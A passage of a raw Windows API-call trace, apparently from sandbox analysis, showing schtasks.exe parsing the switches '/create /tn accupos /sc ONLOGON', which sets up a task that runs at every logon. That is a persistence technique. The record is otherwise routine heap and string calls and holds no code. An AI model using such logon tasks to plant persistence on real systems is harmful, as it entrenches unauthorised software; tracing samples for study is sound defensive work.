dwHandle=0x0, dwLen=0x776, lpData=0x23fabffa8e0 | out: lpData=0x23fabffa8e0) returned 1 [0123.263] VerQueryValueW (in: pBlock=0x23fabffa8e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xaed211f660, puLen=0xaed211f6c0 | out: lplpBuffer=0xaed211f660*=0x23fabffac90, puLen=0xaed211f6c0) returned 1 [0123.265] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.265] _vsnwprintf (in: _Buffer=0x23fabff9b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xaed211f638 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0123.265] VerQueryValueW (in: pBlock=0x23fabffa8e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xaed211f650, puLen=0xaed211f6b8 | out: lplpBuffer=0xaed211f650*=0x23fabffaac0, puLen=0xaed211f6b8) returned 1 [0123.265] lstrlenW (lpString="schtasks.exe") returned 12 [0123.265] lstrlenW (lpString="schtasks.exe") returned 12 [0123.265] lstrlenW (lpString=".EXE") returned 4 [0123.265] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0123.266] lstrlenW (lpString="schtasks.exe") returned 12 [0123.266] lstrlenW (lpString=".EXE") returned 4 [0123.266] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.266] lstrlenW (lpString="schtasks") returned 8 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff91b0 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffbb40 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb570 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffba80 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff3ee0 [0123.266] _memicmp (_Buf1=0x23fabff3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xa0) returned 0x23fabff3f00 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb630 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb4e0 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffbb10 [0123.266] GetProcessHeap () returned 0x23fabff0000 [0123.266] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff3fb0 [0123.266] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.267] GetProcessHeap () returned 0x23fabff0000 [0123.267] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x200) returned 0x23fabffbbb0 [0123.267] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0123.267] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0123.267] GetProcessHeap () returned 0x23fabff0000 [0123.267] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x30) returned 0x23fabff38f0 [0123.267] _vsnwprintf (in: _Buffer=0x23fabff3f00, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xaed211f638 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0123.267] GetProcessHeap () returned 0x23fabff0000 [0123.267] GetProcessHeap () returned 0x23fabff0000 [0123.267] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffa8e0) returned 1 [0123.267] GetProcessHeap () returned 0x23fabff0000 [0123.267] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffa8e0) returned 0x776 [0123.268] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffa8e0) returned 1 [0123.268] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="?") returned 1 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="create") returned 6 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="delete") returned 6 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="query") returned 5 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="change") returned 6 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="run") returned 3 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="end") returned 3 [0123.268] GetThreadLocale () returned 0x409 [0123.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.268] lstrlenW (lpString="showsid") returned 7 [0123.269] GetThreadLocale () returned 0x409 [0123.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.269] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.269] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.269] lstrlenW (lpString="/create") returned 7 [0123.269] lstrlenW (lpString="-/") returned 2 [0123.269] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.269] lstrlenW (lpString="?") returned 1 [0123.269] lstrlenW (lpString="?") returned 1 [0123.269] GetProcessHeap () returned 0x23fabff0000 [0123.269] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff3930 [0123.269] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.269] GetProcessHeap () returned 0x23fabff0000 [0123.269] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xa) returned 0x23fabff3950 [0123.269] lstrlenW (lpString="create") returned 6 [0123.269] GetProcessHeap () returned 0x23fabff0000 [0123.269] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabffac90 [0123.269] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.269] GetProcessHeap () returned 0x23fabff0000 [0123.269] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x14) returned 0x23fabffab50 [0123.269] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.269] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.269] lstrlenW (lpString="|?|") returned 3 [0123.269] lstrlenW (lpString="|create|") returned 8 [0123.269] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.269] lstrlenW (lpString="create") returned 6 [0123.269] lstrlenW (lpString="create") returned 6 [0123.269] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.269] GetProcessHeap () returned 0x23fabff0000 [0123.269] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3950) returned 1 [0123.270] GetProcessHeap () returned 0x23fabff0000 [0123.270] RtlReAllocateHeap (Heap=0x23fabff0000, Flags=0xc, Ptr=0x23fabff3950, Size=0x14) returned 0x23fabff3950 [0123.270] lstrlenW (lpString="create") returned 6 [0123.270] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.270] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.270] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.270] lstrlenW (lpString="|create|") returned 8 [0123.270] lstrlenW (lpString="|create|") returned 8 [0123.270] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0123.270] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.270] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.270] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.270] lstrlenW (lpString="/tn") returned 3 [0123.270] lstrlenW (lpString="-/") returned 2 [0123.270] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.270] lstrlenW (lpString="?") returned 1 [0123.270] lstrlenW (lpString="?") returned 1 [0123.270] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.270] lstrlenW (lpString="tn") returned 2 [0123.270] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.270] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.270] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.270] lstrlenW (lpString="|?|") returned 3 [0123.270] lstrlenW (lpString="|tn|") returned 4 [0123.270] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.270] lstrlenW (lpString="create") returned 6 [0123.270] lstrlenW (lpString="create") returned 6 [0123.270] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] lstrlenW (lpString="tn") returned 2 [0123.271] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.271] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.271] lstrlenW (lpString="|create|") returned 8 [0123.271] lstrlenW (lpString="|tn|") returned 4 [0123.271] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0123.271] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.271] lstrlenW (lpString="delete") returned 6 [0123.271] lstrlenW (lpString="delete") returned 6 [0123.271] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] lstrlenW (lpString="tn") returned 2 [0123.271] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|delete|") returned 8 [0123.271] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.271] lstrlenW (lpString="|delete|") returned 8 [0123.271] lstrlenW (lpString="|tn|") returned 4 [0123.271] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0123.271] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.271] lstrlenW (lpString="query") returned 5 [0123.271] lstrlenW (lpString="query") returned 5 [0123.271] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] lstrlenW (lpString="tn") returned 2 [0123.271] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.271] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|query|") returned 7 [0123.271] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.271] lstrlenW (lpString="|query|") returned 7 [0123.271] lstrlenW (lpString="|tn|") returned 4 [0123.271] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0123.271] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.271] lstrlenW (lpString="change") returned 6 [0123.271] lstrlenW (lpString="change") returned 6 [0123.272] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] lstrlenW (lpString="tn") returned 2 [0123.272] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|change|") returned 8 [0123.272] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.272] lstrlenW (lpString="|change|") returned 8 [0123.272] lstrlenW (lpString="|tn|") returned 4 [0123.272] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0123.272] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.272] lstrlenW (lpString="run") returned 3 [0123.272] lstrlenW (lpString="run") returned 3 [0123.272] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] lstrlenW (lpString="tn") returned 2 [0123.272] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|run|") returned 5 [0123.272] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.272] lstrlenW (lpString="|run|") returned 5 [0123.272] lstrlenW (lpString="|tn|") returned 4 [0123.272] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0123.272] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.272] lstrlenW (lpString="end") returned 3 [0123.272] lstrlenW (lpString="end") returned 3 [0123.272] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] lstrlenW (lpString="tn") returned 2 [0123.272] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.272] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|end|") returned 5 [0123.272] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.272] lstrlenW (lpString="|end|") returned 5 [0123.272] lstrlenW (lpString="|tn|") returned 4 [0123.272] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0123.272] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.272] lstrlenW (lpString="showsid") returned 7 [0123.272] lstrlenW (lpString="showsid") returned 7 [0123.273] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.273] GetProcessHeap () returned 0x23fabff0000 [0123.273] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3950) returned 1 [0123.273] GetProcessHeap () returned 0x23fabff0000 [0123.273] RtlReAllocateHeap (Heap=0x23fabff0000, Flags=0xc, Ptr=0x23fabff3950, Size=0x16) returned 0x23fabff3950 [0123.273] lstrlenW (lpString="tn") returned 2 [0123.273] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.273] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|showsid|") returned 9 [0123.273] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|tn|") returned 4 [0123.273] lstrlenW (lpString="|showsid|") returned 9 [0123.273] lstrlenW (lpString="|tn|") returned 4 [0123.273] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] lstrlenW (lpString="/tn") returned 3 [0123.273] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] lstrlenW (lpString="/tn") returned 3 [0123.273] GetProcessHeap () returned 0x23fabff0000 [0123.273] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x8) returned 0x23fabff3980 [0123.273] GetProcessHeap () returned 0x23fabff0000 [0123.273] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb510 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] lstrlenW (lpString="accupos") returned 7 [0123.273] lstrlenW (lpString="-/") returned 2 [0123.273] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] lstrlenW (lpString="accupos") returned 7 [0123.273] StrChrIW (lpStart="accupos", wMatch=0x3a) returned 0x0 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.273] lstrlenW (lpString="accupos") returned 7 [0123.273] GetProcessHeap () returned 0x23fabff0000 [0123.274] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffac50 [0123.274] GetProcessHeap () returned 0x23fabff0000 [0123.274] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb540 [0123.274] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.274] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.274] lstrlenW (lpString="/sc") returned 3 [0123.274] lstrlenW (lpString="-/") returned 2 [0123.274] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.274] lstrlenW (lpString="?") returned 1 [0123.274] lstrlenW (lpString="?") returned 1 [0123.274] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.274] lstrlenW (lpString="sc") returned 2 [0123.274] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.274] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|?|") returned 3 [0123.274] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.274] lstrlenW (lpString="|?|") returned 3 [0123.274] lstrlenW (lpString="|sc|") returned 4 [0123.274] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.274] lstrlenW (lpString="create") returned 6 [0123.274] lstrlenW (lpString="create") returned 6 [0123.274] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.274] lstrlenW (lpString="sc") returned 2 [0123.274] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.274] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|create|") returned 8 [0123.274] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.274] lstrlenW (lpString="|create|") returned 8 [0123.274] lstrlenW (lpString="|sc|") returned 4 [0123.274] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0123.274] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.274] lstrlenW (lpString="delete") returned 6 [0123.274] lstrlenW (lpString="delete") returned 6 [0123.274] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.274] lstrlenW (lpString="sc") returned 2 [0123.274] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|delete|") returned 8 [0123.275] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.275] lstrlenW (lpString="|delete|") returned 8 [0123.275] lstrlenW (lpString="|sc|") returned 4 [0123.275] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0123.275] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.275] lstrlenW (lpString="query") returned 5 [0123.275] lstrlenW (lpString="query") returned 5 [0123.275] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] lstrlenW (lpString="sc") returned 2 [0123.275] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|query|") returned 7 [0123.275] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.275] lstrlenW (lpString="|query|") returned 7 [0123.275] lstrlenW (lpString="|sc|") returned 4 [0123.275] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0123.275] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.275] lstrlenW (lpString="change") returned 6 [0123.275] lstrlenW (lpString="change") returned 6 [0123.275] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] lstrlenW (lpString="sc") returned 2 [0123.275] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|change|") returned 8 [0123.275] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.275] lstrlenW (lpString="|change|") returned 8 [0123.275] lstrlenW (lpString="|sc|") returned 4 [0123.275] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0123.275] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.275] lstrlenW (lpString="run") returned 3 [0123.275] lstrlenW (lpString="run") returned 3 [0123.275] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.275] lstrlenW (lpString="sc") returned 2 [0123.275] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.276] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|run|") returned 5 [0123.276] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.276] lstrlenW (lpString="|run|") returned 5 [0123.276] lstrlenW (lpString="|sc|") returned 4 [0123.276] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] lstrlenW (lpString="end") returned 3 [0123.276] lstrlenW (lpString="end") returned 3 [0123.276] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.276] lstrlenW (lpString="sc") returned 2 [0123.276] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.276] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|end|") returned 5 [0123.276] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.276] lstrlenW (lpString="|end|") returned 5 [0123.276] lstrlenW (lpString="|sc|") returned 4 [0123.276] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] lstrlenW (lpString="showsid") returned 7 [0123.276] lstrlenW (lpString="showsid") returned 7 [0123.276] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.276] lstrlenW (lpString="sc") returned 2 [0123.276] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.276] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|showsid|") returned 9 [0123.276] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|sc|") returned 4 [0123.276] lstrlenW (lpString="|showsid|") returned 9 [0123.276] lstrlenW (lpString="|sc|") returned 4 [0123.276] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] lstrlenW (lpString="/sc") returned 3 [0123.276] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.276] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] lstrlenW (lpString="/sc") returned 3 [0123.277] GetProcessHeap () returned 0x23fabff0000 [0123.277] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x8) returned 0x23fabff39a0 [0123.277] GetProcessHeap () returned 0x23fabff0000 [0123.277] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb5a0 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] lstrlenW (lpString="ONLOGON") returned 7 [0123.277] lstrlenW (lpString="-/") returned 2 [0123.277] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.277] lstrlenW (lpString="ONLOGON") returned 7 